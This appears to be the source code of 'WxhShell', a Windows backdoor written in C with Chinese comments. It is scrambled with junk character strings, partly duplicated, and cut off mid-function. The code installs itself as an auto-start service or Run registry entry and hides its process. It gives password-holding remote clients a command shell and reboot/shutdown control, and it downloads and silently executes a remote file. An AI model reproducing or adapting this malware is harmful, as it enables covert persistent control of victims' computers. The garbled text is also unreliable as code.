9`^VuC' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iz2K static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3V`K^X3 vi0% jsI HANDLE hProcess; asR6,k PROCESS_BASIC_INFORMATION pbi; XJ]MPiXj ]}9y>+> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~}4o=O( if(NULL == hInst ) return 0; f?F
i{m Bh*~I_T a> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z`"UT#^SI g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,ewg3mYHC& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G=3/PYp H/Goaf% if (!NtQueryInformationProcess) return 0; t1B0M4x9 6mEW*qp2F hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `q e L$` if(!hProcess) return 0; NV;5T3 ywk; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qd!;CoOmZs 44?5]C7 CloseHandle(hProcess); 6!bA~"N (k
M\R| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xr M[8a if(hProcess==NULL) return 0; KLqu[{y.' ;sNyN# HMODULE hMod; _dsd{& char procName[255]; P1
(8foZA unsigned long cbNeeded; >
Q@*o (eJr-xZ/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $t1]w]}d SlZL%C; CloseHandle(hProcess); F4Ft~:a U3lr<(r* if(strstr(procName,"services")) return 1; // 以服务启动 |i?AtOt@f p`1d'n[ return 0; // 注册表启动 |gxU;"2`5~ } Xk]5*C]6< W\U zw,vI // 主模块 Oe$cM=Yf int StartWxhshell(LPSTR lpCmdLine) p>K'6lCa { :M|c,SQK SOCKET wsl; NfR, m] BOOL val=TRUE; 8+gx?pb int port=0; v.6"<nT2 struct sockaddr_in door; =]xNpX) .1I];Cy0D if(wscfg.ws_autoins) Install(); r'&9'rir2 9aZ3W<N`M port=atoi(lpCmdLine); ADv
a@P 6{azzk8 if(port<=0) port=wscfg.ws_port; K^{`8E&A Yc?t aL) WSADATA data; ,l;
&Tb=k if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (GPJ=r %/etoK if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |,dMF2ADc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tt J,rM door.sin_family = AF_INET; bHS2;K~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); K!I]/0L door.sin_port = htons(port); `yYgL@Zt dN |w;|M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { //ZB B,[@ closesocket(wsl); tx5_e[ return 1; 308w0eP } ?]9uHrdsN} aE#ZTc= if(listen(wsl,2) == INVALID_SOCKET) { h*%T2 closesocket(wsl); 7U.g4x|< return 1; N%r}0 } 0E\R\KO$> Wxhshell(wsl); D<++6HN WSACleanup(); 6-KC[J^Xo ~O1*] return 0; 0^E!P> QwT]|
6> } qZ\zsOnp "mPa>`? // 以NT服务方式启动 _\]D<\St VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z(\H.P# { oSa FmP DWORD status = 0; 34;c00 DWORD specificError = 0xfffffff; CdaB.xk >D:S)" serviceStatus.dwServiceType = SERVICE_WIN32;
6{7O serviceStatus.dwCurrentState = SERVICE_START_PENDING; ljt1:@SN( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3:Z(tM&-O serviceStatus.dwWin32ExitCode = 0; m]"YR_ serviceStatus.dwServiceSpecificExitCode = 0; C4 Wdt serviceStatus.dwCheckPoint = 0; ?sS'T7r
v serviceStatus.dwWaitHint = 0; -S,dG| ]LSa(7>EU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 29qQ3M? if (hServiceStatusHandle==0) return; [tD*\\IA )D[xY0Y~ status = GetLastError(); t&P5Zw*B
if (status!=NO_ERROR) M;iaNL( { *|E@81s# serviceStatus.dwCurrentState = SERVICE_STOPPED; C>K/C!5? serviceStatus.dwCheckPoint = 0; s}z,{Y$-t serviceStatus.dwWaitHint = 0; X! 2|_ serviceStatus.dwWin32ExitCode = status; }SN'*w@E serviceStatus.dwServiceSpecificExitCode = specificError; <}mT[;:" SetServiceStatus(hServiceStatusHandle, &serviceStatus); @tj0Ir v return; +]
5a(/m.~ } _r8AO> Y}?@Pm drz serviceStatus.dwCurrentState = SERVICE_RUNNING;
E,6E-9 serviceStatus.dwCheckPoint = 0; epG;=\f}m` serviceStatus.dwWaitHint = 0; R3@iN& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =oh6;Ojt } XdS<51 C ~IqT> // 处理NT服务事件,比如:启动、停止 njq-iU VOID WINAPI NTServiceHandler(DWORD fdwControl) X4k/7EA { 2(c#m*Q!b switch(fdwControl) i@I %$!cB { ix# case SERVICE_CONTROL_STOP: ,3n}*"K serviceStatus.dwWin32ExitCode = 0; ffB]4 serviceStatus.dwCurrentState = SERVICE_STOPPED; xK
y<o serviceStatus.dwCheckPoint = 0; }jk^M|Z"Oz serviceStatus.dwWaitHint = 0; >{??/fBd- { >b$<lo SetServiceStatus(hServiceStatusHandle, &serviceStatus);
;<][upn } )?xt=9Lh return; F"F(s! case SERVICE_CONTROL_PAUSE: /Z@.;M serviceStatus.dwCurrentState = SERVICE_PAUSED; CTP% break; cq=R case SERVICE_CONTROL_CONTINUE: }>1E,3A:%G serviceStatus.dwCurrentState = SERVICE_RUNNING; eS.]@E-T break; Qdn:4yk case SERVICE_CONTROL_INTERROGATE: -qEr-[z break; W
,U'hk% }; nx+&
{hn( SetServiceStatus(hServiceStatusHandle, &serviceStatus); W1!eY,1} } "Jwz.,Y\ 2kgm)-z // 标准应用程序主函数 &%bX&;ECzf int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LPNv4lT[u { |kd^]!_ g Q9ff, // 获取操作系统版本 6\Z^L1973 OsIsNt=GetOsVer(); [T^6Kzz GetModuleFileName(NULL,ExeFile,MAX_PATH); W&Hf}qs jCl[!L5/1 // 从命令行安装 LgnGqIlx if(strpbrk(lpCmdLine,"iI")) Install(); w:N2
xI l
)4OV> // 下载执行文件 \mDm*UuG
if(wscfg.ws_downexe) { PaZYs~EO
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SeTU`WLEm WinExec(wscfg.ws_filenam,SW_HIDE); y5ExEXa } <?g{Rn C,]Ec2 if(!OsIsNt) { GGuLxc?( // 如果时win9x,隐藏进程并且设置为注册表启动 z? aDOh HideProc(); @gj5' StartWxhshell(lpCmdLine); NAU<?q<) } Xo5L:(?K else >6dgf`U if(StartFromService()) aF=VJ+5 // 以服务方式启动 o MAK[$k; StartServiceCtrlDispatcher(DispatchTable); =ht@7z8QM else t(yv // 普通方式启动 #n7{ 3) StartWxhshell(lpCmdLine); \[&]kPcDl ')aYkO{%sb return 0; ?`XKaD!
f } DXGO-]!!0 9e5UTJ PA/6l"-`3 b1OB'P8
=========================================== r=`>'3
} x 8B+uNN~%] ?.s*)n nr^p H. [Wh 43Z 8HOmWQS " )/JC.d# a=O!\J #include <stdio.h> 6p@ts`# #include <string.h> %xRS9A4 #include <windows.h> %'HUC>ChN #include <winsock2.h> >']H)c'2 #include <winsvc.h> t|m3b~Oyv #include <urlmon.h> R[c_L= ;gyE5n-{ #pragma comment (lib, "Ws2_32.lib") 34=0.{qn #pragma comment (lib, "urlmon.lib") D4|_?O3|m WKf~K4BL> #define MAX_USER 100 // 最大客户端连接数 -UVWs2W'$ #define BUF_SOCK 200 // sock buffer rUO{-R #define KEY_BUFF 255 // 输入 buffer 8f.La xlLS` #define REBOOT 0 // 重启 rBf?kDt6l #define SHUTDOWN 1 // 关机 bqO"k t 1#(1Bs6X #define DEF_PORT 5000 // 监听端口 "J#:PfJ% -ZB"Yg$l #define REG_LEN 16 // 注册表键长度 Exr7vL #define SVC_LEN 80 // NT服务名长度 7E95"B&w R;o_ * // 从dll定义API dc)Gk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _+En%p.m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )R4<*
/C:w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :m\KQ1sq typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u_BSWhiW IoA;q) // wxhshell配置信息 q*OKA5 struct WSCFG { YYHm0pc int ws_port; // 监听端口 z@i4dC char ws_passstr[REG_LEN]; // 口令 Q\76jD`m\ int ws_autoins; // 安装标记, 1=yes 0=no iIFQRnpu;3 char ws_regname[REG_LEN]; // 注册表键名 <B`V char ws_svcname[REG_LEN]; // 服务名 4lA+V,# char ws_svcdisp[SVC_LEN]; // 服务显示名 K^Ht$04 char ws_svcdesc[SVC_LEN]; // 服务描述信息 z"3c+?2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (zBQ^97] int ws_downexe; // 下载执行标记, 1=yes 0=no Z3dd9m#.] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B/OO$=>( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x8Sq+BY _ LNPB$P }; &}O!l' u*{ _WL[( // default Wxhshell configuration .a*$WGb struct WSCFG wscfg={DEF_PORT, s/M~RB!w "xuhuanlingzhe", o2 1, wY#mL1dF "Wxhshell", ydQS"]\g "Wxhshell", 16|S 0 ) "WxhShell Service", d]EvC> "Wrsky Windows CmdShell Service", .TC
`\mV "Please Input Your Password: ", h86={@Le 1, w|C~{ "http://www.wrsky.com/wxhshell.exe", aB^G "Wxhshell.exe" t5h_Q92N }; W#j,{&KVn @3YuV=QfH // 消息定义模块 U[l%oLra char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ItADO'M char *msg_ws_prompt="\n\r? for help\n\r#>"; mx~sxYa char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d&`j8O char *msg_ws_ext="\n\rExit."; jm\#($gl= char *msg_ws_end="\n\rQuit.";
#Uh 5tc char *msg_ws_boot="\n\rReboot..."; "ux]kfoT char *msg_ws_poff="\n\rShutdown..."; AvZ) 1( char *msg_ws_down="\n\rSave to "; {R;M`EU> yU,xcq~l char *msg_ws_err="\n\rErr!"; p'~5[JR: char *msg_ws_ok="\n\rOK!"; 31& .Lnq tY=%@v'6? char ExeFile[MAX_PATH];
c^s> int nUser = 0; ,rQ)TT HANDLE handles[MAX_USER]; 'qAfei'] int OsIsNt; r%d11[z !T#y r) SERVICE_STATUS serviceStatus; p^P y, SERVICE_STATUS_HANDLE hServiceStatusHandle; OPW"ABJ CDnz
&? // 函数声明 /T[ICd2J int Install(void); CDj Dhs int Uninstall(void); RWCS
u$ int DownloadFile(char *sURL, SOCKET wsh); &pjV4m|j< int Boot(int flag); ~aAJn IO void HideProc(void); b6&NzUt34V int GetOsVer(void); !"%sp6Wc int Wxhshell(SOCKET wsl); mthl?,I| void TalkWithClient(void *cs); AijTT% int CmdShell(SOCKET sock); /v4S@SQ+ int StartFromService(void); Z&jb,eh2 int StartWxhshell(LPSTR lpCmdLine); '-33iG ?i2Wst VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0WE1}.J< VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?7)(qnbe" 2Fg t)`{! // 数据结构和表定义 +<9
eN SERVICE_TABLE_ENTRY DispatchTable[] = FJ8@b { BK9x`Oo 2 {wscfg.ws_svcname, NTServiceMain}, '<< ~wt {NULL, NULL} Uy5 !H1u }; PMhhPw] 1D p@n // 自我安装 _G #"B{7 int Install(void) 'h>5&=r { lc7a@qnw char svExeFile[MAX_PATH]; bDBO+qA HKEY key; zL`uiZl strcpy(svExeFile,ExeFile); 'QojSq
(0#F]""\e // 如果是win9x系统,修改注册表设为自启动 =4<S8Cp if(!OsIsNt) { \K~fRUo]=c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;c
Co+( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aroVyUs3j RegCloseKey(key); 9<h]OXv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ds;cfj[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nVn|$ "r RegCloseKey(key); 4z%#ZIy3 return 0; rn:zKTyhw } !L.
K)9I } dP7Vsa+ } F] ?@X else { 4UD=Y?zK kEhm' // 如果是NT以上系统,安装为系统服务 ct4 [b| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i4zV( if (schSCManager!=0) Qy5Os?9" { [~c'|E8Q SC_HANDLE schService = CreateService <o!&Kk 9 ( _b_?9b-)D schSCManager, ``|RO[+2 wscfg.ws_svcname, RF~Ofi wscfg.ws_svcdisp, ^qGA!_ SERVICE_ALL_ACCESS, X";ZUp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 15KV}){ SERVICE_AUTO_START, M&/aJRBS SERVICE_ERROR_NORMAL, Fiu!!M6 svExeFile, ;=+Zw1/g NULL, TT2cOw NULL, k
l!?/M NULL, +6hl@Fm( NULL, EEs-& NULL 0vuKGjK ); r}0C8(oq if (schService!=0) AR~$MCR]"k { h!G^dW. CloseServiceHandle(schService); ^@`e CloseServiceHandle(schSCManager); .3&a{IxM] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -*%!q$: strcat(svExeFile,wscfg.ws_svcname); /MqXwUbO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S2&9#6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %8bzs?QI RegCloseKey(key); +an^e' return 0; ^{*f3m/ } 2Za,4' } w;c#drY7S CloseServiceHandle(schSCManager); E
{KS a } z_Wm
HB } Yn4)Zhkk ,<$YVXe/ return 1; n{^<&GWox } ~llMrl7 ~|'y+h89 // 自我卸载 w3<"g&n| int Uninstall(void) ~mK-8U4>K, { f `y"
a@ HKEY key;
$89ea*k sB( `[5I if(!OsIsNt) { s[3![
"^Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,rZn`9 RegDeleteValue(key,wscfg.ws_regname); 5:%..e`T RegCloseKey(key); B6ed,($& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g=xv+e RegDeleteValue(key,wscfg.ws_regname); au~] RegCloseKey(key); -VWCD,c return 0; =_8
UZk. } _,_8X7
} lI4J=8O0 } lk_s!<ni else { X'FEOF 2y+70(E1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _{e&@d if (schSCManager!=0) qRPc%" { /&]-I$G@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gefnk!;; if (schService!=0) ?dsf@\ { 3>Q@r>c if(DeleteService(schService)!=0) { Km)X_}| CloseServiceHandle(schService); xd^&_P$= CloseServiceHandle(schSCManager); =w^TcV return 0; lf%b0na?r } >f\zCT%cf CloseServiceHandle(schService); -BA"3 S } fJLf7+q CloseServiceHandle(schSCManager); #\pP2
} b JfD\ } cy) k<?, :[Qp2Gg O\ return 1; R}DX(T,K } x.b; +p}= F!7f_m0= // 从指定url下载文件 g7xbyBo7 int DownloadFile(char *sURL, SOCKET wsh) +/y{^}b/ { \6 \hnP HRESULT hr; S3uyn78hI char seps[]= "/"; >|a\>UgC char *token; 3 ppuQQ char *file; Fweh =v char myURL[MAX_PATH]; >Hih char myFILE[MAX_PATH]; g/IH|Z=A w]};0v&\~s strcpy(myURL,sURL); )A="eW_> token=strtok(myURL,seps); 9&jQ
35 while(token!=NULL) f}[H
`OF { `$S^E != file=token; +D:83h{ token=strtok(NULL,seps); ?}vzLgp } -a
*NbH w`L~#yu GetCurrentDirectory(MAX_PATH,myFILE); yp=|7 strcat(myFILE, "\\"); pC*BA<?Rg strcat(myFILE, file); ^ED"rMI send(wsh,myFILE,strlen(myFILE),0); Bk@)b`WR send(wsh,"...",3,0); 2m_'z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1"}B]5! if(hr==S_OK) br0u@G return 0; tM&n3MWQ else \n#]%X5c return 1; Hqvc7 -c6 QU:EY'2 } pT4qPta,2 NEA_Plt // 系统电源模块 79D=d'eA int Boot(int flag) E{uf\Fc { bH*@,EE HANDLE hToken; 42fprt TOKEN_PRIVILEGES tkp; &yE1U#J( $+Vmwd; if(OsIsNt) { '!!e+\h# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R
N@^j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bRNK.[| tkp.PrivilegeCount = 1; @]f3|>I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~<n(y-P^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >;)2NrJV if(flag==REBOOT) { h$70H ^r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9b1?W?" return 0; <B!'3C(P } ##H;Yb else { Y}ng_c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R|iEv t return 0; -yoAxPDW } [|4}~UV
} N31?9GE else { bFg*l$`5 if(flag==REBOOT) { qxfLfgu^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8O6_iGTBh return 0; 4otl_l(`yv } aqF+zPKs6 else { :q^R
`8;(t if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;{k=C2 return 0; BRb\V42i; } ^|#>zCt^ } S?L#N Go 1(@ return 1; +'|{1gB } /}Yqf`CZy 1Ao6y.S // win9x进程隐藏模块 wepwXy" void HideProc(void) ob
E:kNE9 { ]ni6p&b> )\wuesAO HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); abBO93f^ if ( hKernel != NULL ) #$FrFU;ZR { _#!U"hkH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7R,qDp S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D*\v0=P'? FreeLibrary(hKernel); R:~(Z? } thuRNYv< &|b4\uj9 return; Q&xjF@I } zsDocR %zzYleJ!] // 获取操作系统版本 ;WD,x:>blO int GetOsVer(void) f^p^Y
F+ { GW3>&j_!d OSVERSIONINFO winfo; xYI;V7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .n`( X#,*l GetVersionEx(&winfo); 6\4Z\82 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l&L,7BX return 1; RNTa XR+Zn else CbOCk:,g5 return 0; Stxp3\jEn } q\Rq!7( SWs3SYJ\ // 客户端句柄模块 ydQ!4 int Wxhshell(SOCKET wsl) wiJRCH { CvK3H\.&;k SOCKET wsh; qbiK^gR struct sockaddr_in client; X4wH/q^ DWORD myID; ZQAO"huk] ,[isib3 while(nUser<MAX_USER) 6YmP[% { T|;@T^ int nSize=sizeof(client); R)oB!$k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %<}<'V0 if(wsh==INVALID_SOCKET) return 1; fW(/Loh *KJB>W%@uM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]78!!G[` if(handles[nUser]==0) pYo=oI closesocket(wsh); KVR~jF% else XA<ozq' nUser++; XJgh>^R^ } h?Nek+1' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *%!M4& \\:|Odd return 0; &nY;=Hv`WY } r\2vl8X~ 5Fbs
WW2 // 关闭 socket 2q PhLCeZ void CloseIt(SOCKET wsh) u5Up&QE!>q { 2-dh;[4 closesocket(wsh); 3K>gz:dt nUser--; kz B\'m,l ExitThread(0); PD6_)PXn } raE
Mm 19c@ `? // 客户端请求句柄 "(`2eXRn void TalkWithClient(void *cs) c2 A ps { ;3"@g]e T\9~<"P^ SOCKET wsh=(SOCKET)cs; *k [J6 char pwd[SVC_LEN]; &|9.}Z8U char cmd[KEY_BUFF]; h2~4G)J char chr[1]; T95t"g?p int i,j; W.I\J<=V dNiH|-$an while (nUser < MAX_USER) { M`7y>Ud bgF^(T35 if(wscfg.ws_passstr) { BRS#Fl: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O_;Dk W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SZhOm //ZeroMemory(pwd,KEY_BUFF); R)5n 8 i=0; !GwL,)0@^ while(i<SVC_LEN) { -Z0+oU(?YE J !HjeZ // 设置超时 g(Yb^'X/ fd_set FdRead; *?t%0){ struct timeval TimeOut; A"uULfnk FD_ZERO(&FdRead); 65TfFcQ<S FD_SET(wsh,&FdRead); &GhPvrxI? TimeOut.tv_sec=8; CnISe^h TimeOut.tv_usec=0; )Si2u5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ps4 ZFX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wN=;i# S($Su7g%_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3jZ6kfj pwd=chr[0]; W*N$'% if(chr[0]==0xd || chr[0]==0xa) { By)u-)g9 pwd=0; d0'HDVd break; z>m=h)9d~ } P7.' kX9 i++; i-"
p)2d=# } 9'[ N1Un.= }ns-W3B' // 如果是非法用户,关闭 socket (R!hj w~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~" i0x } 1}%B%*N T{+Z(L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
rl08R send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pkgjTXR2b lIRlMLuG while(1) { "IQ/LbOqm_ =elpH^N ZeroMemory(cmd,KEY_BUFF); ZcJ\ZbE| K/=|8+IDL // 自动支持客户端 telnet标准 eHiy,IN j=0; 47K1$3P while(j<KEY_BUFF) { tDg}Ys=4K> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c!K]J cmd[j]=chr[0]; *Hz^K0:8( if(chr[0]==0xa || chr[0]==0xd) { V)(R]BK{ cmd[j]=0; AlXNg!j;5K break; J aTp}# } 457\& j++; kF"@Ngv. } n+;6=1d7ZW 'Ft0Ry<OL // 下载文件 U1nw-Q+ if(strstr(cmd,"http://")) { "VG+1r+]4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); %Dg0fL if(DownloadFile(cmd,wsh)) @Fp_^5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }7E^ZZ]f else G` XC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o1cErI&q" } ngohtB^] else { anMF-x4/*q jRSUp
E8 switch(cmd[0]) { }|u4 W?H , EGQ@:3/ // 帮助 1i[FY?6`dh case '?': { nw>8GivO send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #9-P%%kQ break; (0YZZ93 } ]vWKR."4 // 安装 #txE=e"&o case 'i': { /+Lfrt if(Install()) Sz- Jy:j send(wsh,msg_ws_err,strlen(msg_ws_err),0); p2Zo else 1cS}J:0P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8>,jpAN}r break; (q+)'H%iK } OxI/%yv-c // 卸载 QnZcBXI8 case 'r': { |7yAX+ if(Uninstall()) P9g en6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); V=:'SL*3| else \7Jg7 * send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V-<GT? break; 1%4sHSN } I!e} )Y // 显示 wxhshell 所在路径 S;$-''o?9 case 'p': { wiz$fj char svExeFile[MAX_PATH]; ]o cWt3| strcpy(svExeFile,"\n\r"); fFb_J`'ue strcat(svExeFile,ExeFile); 3;S,3 send(wsh,svExeFile,strlen(svExeFile),0); [0"'T[ok break; Llr>9(| } +qh[N@F // 重启 Ut2y;2)a case 'b': { H,Z;=N_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r E}%KsZ if(Boot(REBOOT)) 1pArZzm> send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZovW0Q)m else { 4"gM<z closesocket(wsh); {} 3${ ExitThread(0); !O `(JSoG } ;\f gF@ break; E_vq } s2Mb[#:a" // 关机 {
^cV lC_ case 'd': { *:ZDd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^h69Kr#d4 if(Boot(SHUTDOWN)) 0NS<?p~_S send(wsh,msg_ws_err,strlen(msg_ws_err),0); /YZr~|65 else { E\Rhz]G( closesocket(wsh); x>Zn?YR," ExitThread(0); b )B?
F } {q"OM*L( break; G1 vNt7 } 0aG ni| // 获取shell rg^'S1x| case 's': { e" St_z( CmdShell(wsh); j'A_'g'^ closesocket(wsh); dBz/7&Q ExitThread(0); 7=;R& mqC break; D9
g#Ff6 } :]\([Q+a // 退出 eEuvl`& case 'x': { Vh_P/C+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i\,-oO CloseIt(wsh); 3j\1S1 break; ,P;Pm68V } B} lvr-c# // 离开 u6AA4( case 'q': { `$ 6rz send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~ _/(t'9 closesocket(wsh); "*In+ !K WSACleanup(); 7pe\M/kl exit(1); uScMn/% break; R%?9z 8- } gt@m?w( } kqFP)!37 } '<"s \, @7IIM{ // 提示信息 `@`CG[-9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3kybLOG } #1OOU } SLa>7`<Q <g$~1fa return; U|jSa,} } 4 o Fel.o h&KO<> // shell模块句柄 j0oR)du int CmdShell(SOCKET sock) _h{C_;a[_ { sB7#
~pA STARTUPINFO si; Zy`m!]G]80 ZeroMemory(&si,sizeof(si)); h1de[q) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 16=sij%A si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sc;BCl{=| PROCESS_INFORMATION ProcessInfo; 4K\G16'$v char cmdline[]="cmd"; 8Vr%n2M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AE[b},-[ return 0; JRB9rSN^ } l3)}qu oKuI0-*mR // 自身启动模式 "&Y`+ 0S8 int StartFromService(void) k>;`FFQU> { HiZ*+T.B typedef struct G?O1>?4C { nT7%j{e=L DWORD ExitStatus; r>>%2Z-P DWORD PebBaseAddress; T&6l$1J DWORD AffinityMask; |fK1/<sz# DWORD BasePriority; Te"ioU?. ULONG UniqueProcessId; $a.JSXyxL ULONG InheritedFromUniqueProcessId; ~%<X0s| } PROCESS_BASIC_INFORMATION; La`N PY_:> ]Sf]J4eQ PROCNTQSIP NtQueryInformationProcess; -t!~%_WCv (A9Fhun static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0X6YdW _2X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J')o|5S1N TM%|'^) HANDLE hProcess; OP[@k PROCESS_BASIC_INFORMATION pbi; )_YX DU 9X}10u: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]_f_w9] if(NULL == hInst ) return 0; marQNZ hOjk3
k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j#!IuH\] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cr7 }^s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _kef0K6 ]L5@,E4. if (!NtQueryInformationProcess) return 0; =^M/{51j J,'M4O\S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'j#*6xD if(!hProcess) return 0; A8muQuj]~~ p|U?86t if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &6/[B_. 9+Np4i@ CloseHandle(hProcess); 'OITI TM -*1d! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }T(D7|^R if(hProcess==NULL) return 0; UXJeAE- &*M!lxDN HMODULE 